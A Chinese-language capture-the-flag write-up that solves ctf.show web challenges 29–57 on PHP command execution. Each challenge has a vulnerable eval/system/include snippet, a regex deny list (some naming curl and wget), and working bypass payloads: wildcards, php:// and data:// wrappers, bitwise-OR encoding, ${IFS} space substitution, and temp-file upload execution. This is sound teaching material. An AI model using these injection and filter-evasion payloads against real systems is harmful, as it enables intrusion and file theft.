首页/文章/CTF WEB

CTFweb 入门之命令执行(上)

CTFweb 入门之命令执行相关题型 WP 以及知识总结

学习不是为了征服世界,而是为了不辜负每一次好奇心的出发。

web29

题目描述

命令执行,需要严格的过滤

php
<?phperror_reporting(0);if(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/flag/i", $c)){        eval($c);    }    }else{    highlight_file(__FILE__);}

preg_match()

preg_match()php 中用来正则匹配字符串的函数,即拿一个正则表达式,去检查目标字符串有没有符合规则的内容 基本语法:preg_match($pattern, $subject, $matches);

  • pattern:正则表达式,由两个 /(定界符) 包裹,例如:
    • /cat/ 单纯匹配包含 cat 的文本
    • /\d+/ :匹配一个或多个数字(\d 代表数字,+ 代表一个或多个)。
    • /^[a-z]+$/i :匹配纯字母字符串(^开头,$结尾,i表示不区分大小写)。
    • $$\text + \text$$
  • $subject 目标字符串
  • $matches 匹配结果,可选参数
    • 类型:数组
    • $matches[0] 放匹配到的整个结果
    • $matches[1] 使用() 捕获组,会放第一个子内容

匹配成功返回 1 ,否则返回 0 ,返回 false 代表正则表达式写错

eval()

把字符串当代码执行,例如:
eval("echo 123;") = echo 123;
eval() 可执行表达式和变量

本题

构造 ?c=system(%27ls%27);

alt text

由于过滤 flag ,我们使用通配符。
?c=system("tac%20f*");

web30

题目描述

命令执行,需要严格的过滤

php
<?phperror_reporting(0);if(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/flag|system|php/i", $c)){        eval($c);    }    }else{    highlight_file(__FILE__);}

可以看见过滤了 flagsystemphp
我们使用 passthru GET /?c=passthru(%22cat%20f*%22)%3b HTTP/1.1

alt text

也可以使用 echo shell_exec("cat f*");
GET /?c=echo%20shell_exec(%22cat%20f*%22)%3b HTTP/1.1 输出 cat f* 的完整结果

web31

题目描述

命令执行,需要严格的过滤

php
<?phperror_reporting(0);if(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){        eval($c);    }    }else{    highlight_file(__FILE__);}

过滤更严格
可以看见还过滤了 . '

alt text

alt text

flag.php
highlight_file(current(glob("f*"))); 我们直接高亮显示 glob() 返回所有匹配的文件 ,current 取数组默认第一个元素

web32

题目描述

命令执行,需要严格的过滤

php
<?phperror_reporting(0);if(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){        eval($c);    }    }else{    highlight_file(__FILE__);}

过滤了 ;

alt text

由于只检查 c ,我们将其他被过滤的放到另一个参数 构造 ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
将得到的 base64 转换即可

web33

题目描述

命令执行,需要严格的过滤

php
<?phperror_reporting(0);if(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){        eval($c);    }    }else{    highlight_file(__FILE__);}

可以看到又过滤了 "
构造 ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
将得到的 base64 转换即可

web34

题目描述

命令执行,需要严格的过滤

php
<?phperror_reporting(0);if(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){        eval($c);    }    }else{    highlight_file(__FILE__);}

又过滤了 :
依旧构造 ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
将得到的 base64 转换即可

web35

题目描述

命令执行,需要严格的过滤

php
<?phperror_reporting(0);if(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){        eval($c);    }    }else{    highlight_file(__FILE__);}

依旧构造 ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
将得到的 base64 转换即可

web36

题目描述

命令执行,需要严格的过滤

php
<?phperror_reporting(0);if(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){        eval($c);    }    }else{    highlight_file(__FILE__);}

把 1 换成字母就行

web37

题目描述

命令执行,需要严格的过滤

php
<?phperror_reporting(0);if(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/flag/i", $c)){        include($c);        echo $flag;        }        }else{    highlight_file(__FILE__);}

include 函数

include 的参数是文件的路径,如果这个文件中还有 php 代码,那么 include 会去执行 include($c);
c = a.php
a.php 内容是

php
<?phpecho "123";?>

那么就执行 echo "123"; 于是这道题我们做一个临时文件
?c=data://text/plain,<?php include($_GET[1]);?>&1=flag.php

alt text

web38

题目描述

命令执行,需要严格的过滤

php
<?phperror_reporting(0);if(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/flag|php|file/i", $c)){        include($c);        echo $flag;        }        }else{    highlight_file(__FILE__);}

可以看到这道题过滤了 php 那我们改为短输出
?c=data://text/plain,<?=include($_GET[1])?>&1=flag.php

web39

题目描述

命令执行,需要严格的过滤

php
<?phperror_reporting(0);if(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/flag/i", $c)){        include($c.".php");    }        }else{    highlight_file(__FILE__);}

语法

.php 里面是拼接符,即将变量 c.php 拼接作为路径
先试的 ?c=data://text/plain,<?=include($_GET[1])?>&1=flag.php

alt text

那我们换一种方法
?c=data://text/plain,<?=system("tac%20f*.php");?>
alt text

web40

题目描述

命令执行,需要严格的过滤

php
<?phpif(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){        eval($c);    }        }else{    highlight_file(__FILE__);}

可以看到这道题过滤了许多符号,虽然我们看到有括号,但是注意,这里面过滤的是 () 不是 (),那么函数是可以执行的
?c=show_source(next(array_reverse(scandir(dirname(__FILE__)))));
我们这样子构造,__FILE__ 魔术常量取当前文件路径,传入print_r(scandir(dirname(__FILE__)));

alt text

之后 array_reverse(scandir(dirname(__FILE__)))变成
alt text

next(array_reverse(scandir(dirname(__FILE__)))) 我们取第二个文件,结果:
$flag="ctfshow{288b3350-b2e7-4b7f-9202-9c8f08ed955a}";

web41

题目描述

命令执行,需要严格的过滤

php
<?phpif(isset($_POST['c'])){    $c = $_POST['c'];if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){        eval("echo($c);");    }}else{    highlight_file(__FILE__);}?>

由于 php 中可以按位或,那我们将 passthru("tac f*");按位或

http
c=("````````"|"%10%01%13%13%14%08%12%15")("``` `*"|"%14%01%03%20%06%20")

alt text

web42

题目描述

命令执行,需要严格的过滤

php
<?phpif(isset($_GET['c'])){    $c=$_GET['c'];    system($c." >/dev/null 2>&1");}else{    highlight_file(__FILE__);}

我们用命令分隔符 ?c=tac%20f*; 隔开即可

web43

题目描述

命令执行,需要严格的过滤

php
<?phpif(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/\;|cat/i", $c)){        system($c." >/dev/null 2>&1");    }}else{    highlight_file(__FILE__);}

这个题目用 && 前一个成功才执行后一个
URL 编码是 ?c=tac%20f*%26%26

web44

题目描述

命令执行,需要严格的过滤

php
<?phpif(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/;|cat|flag/i", $c)){        system($c." >/dev/null 2>&1");    }}else{    highlight_file(__FILE__);}

依旧 ?c=tac%20f*%26%26

web45

题目描述

命令执行,需要严格的过滤

php
<?phpif(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/\;|cat|flag| /i", $c)){        system($c." >/dev/null 2>&1");    }}else{    highlight_file(__FILE__);}

这个题目过滤了空格,我们用 ${IFS} 代替
?c=tac${IFS}f*%26%26 也可以用 TAB ?c=tac%09f*%26%26

web46

题目描述

命令执行,需要严格的过滤

php
<?phpif(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){        system($c." >/dev/null 2>&1");    }}else{    highlight_file(__FILE__);}

?c=tac%09fla?.php%26%26 注意,由于在正则处理前我们转化成 URL 编码,所以到正则匹配的时候数字已经变成了对应的符号

web47

题目描述

命令执行,需要严格的过滤

php
<?phpif(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){        system($c." >/dev/null 2>&1");    }}else{    highlight_file(__FILE__);}

依旧?c=tac%09fla?.php%26%26

web48

题目描述

命令执行,需要严格的过滤

php
<?phpif(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){        system($c." >/dev/null 2>&1");    }}else{    highlight_file(__FILE__);}

依旧 ?c=tac%09fla?.php%26%26

web49

题目描述

命令执行,需要严格的过滤

php
<?phpif(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){        system($c." >/dev/null 2>&1");    }}else{    highlight_file(__FILE__);}

依旧 ?c=tac%09fla?.php%26%26
也可以 ?c=tac<fla''g.php|| ?c=tac<fla\g.php||

web50

题目描述

命令执行,需要严格的过滤

php
<?phpif(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){        system($c." >/dev/null 2>&1");    }}else{    highlight_file(__FILE__);}

依旧 ?c=tac<fla''g.php|| ?c=tac<fla\g.php||

web51

题目描述

命令执行,需要严格的过滤

php
<?phpif(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){        system($c." >/dev/null 2>&1");    }}else{    highlight_file(__FILE__);}

可以看见基本上能用的都过滤了 ?c=ta%27%27c<fla\g.php||tac 拆开即可

web52

题目描述

命令执行,需要严格的过滤

php
<?phpif(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){        system($c." >/dev/null 2>&1");    }}else{    highlight_file(__FILE__);}php

尝试 ?c=t%27%27ac${IFS}fla%27%27g.php||

alt text

ls 一下 ?c=ls${IFS}/||
alt text

?c=t%27%27ac${IFS}/fla%27%27g||
alt text

web53

题目描述

命令执行,需要严格的过滤

php
<?phpif(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){        echo($c);        $d = system($c);        echo "<br>".$d;    }else{        echo 'no';    }}else{    highlight_file(__FILE__);}

?c=ta%27%27c${IFS}fla?.php%0A 我们用换行替代 ;

web54

题目描述

命令执行,需要严格的过滤

php
<?phpif(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){        system($c);    }}else{    highlight_file(__FILE__);}

这里拦截严格很多,只要按照顺序出现都会被拦截,我们用 grep ?c=grep${IFS}fla${IFS}fla?.php

web55

题目描述

命令执行,需要严格的过滤

php
<?phpif(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){        system($c);    }}else{    highlight_file(__FILE__);}

由于过滤了字母,我们考虑用通配符展开
?c=/???/????64%20????.??? 这样子匹配的是 /bin/base64/flag.php
我们将得到的内容从 base64 解码即可

web56

题目描述

命令执行,需要严格的过滤

php
<?phpif(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){        system($c);    }}else{    highlight_file(__FILE__);}

可以看见这回连数字都拦了,利用 burp 发包

http
POST /?c=.+/???/????????[@-[]  HTTP/1.1Host: dc25e22c-b04a-47f5-af17-733f10129fa1.challenge.ctf.showContent-Type: multipart/form-data; boundary=---------------------------4020804835458957171125398001Content-Length: 240-----------------------------4020804835458957171125398001Content-Disposition: form-data; name="file"; filename="filecat.txt"Content-Type: text/plain#!/bin/shcat flag.php-----------------------------4020804835458957171125398001--

php 处理 multipart/form-data 时会把上传的文件保存为临时文件,通常在 /tmp/phpxxxxxxxxx,在当前请求结束前这个文件还在,在 glob shell中,[@-[]表示从 @~]任意字符,即 @ A~Z ]

web57

题目描述

命令执行,需要严格的过滤,已测试,可绕

php
<?php//flag in 36.phpif(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){        system("cat ".$c.".php");    }}else{    highlight_file(__FILE__);}

flag36.php 我们需要用算术展开到 36

text
?c=$((!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())))

构造此 payload

sh
$(())     # 等价于 0!$(())    # 等价于 !0,也就是 1

许可协议

本文采用 署名-非商业性使用-相同方式共享 4.0 国际 许可协议,转载请注明出处。

读者回信

正在翻开留言页...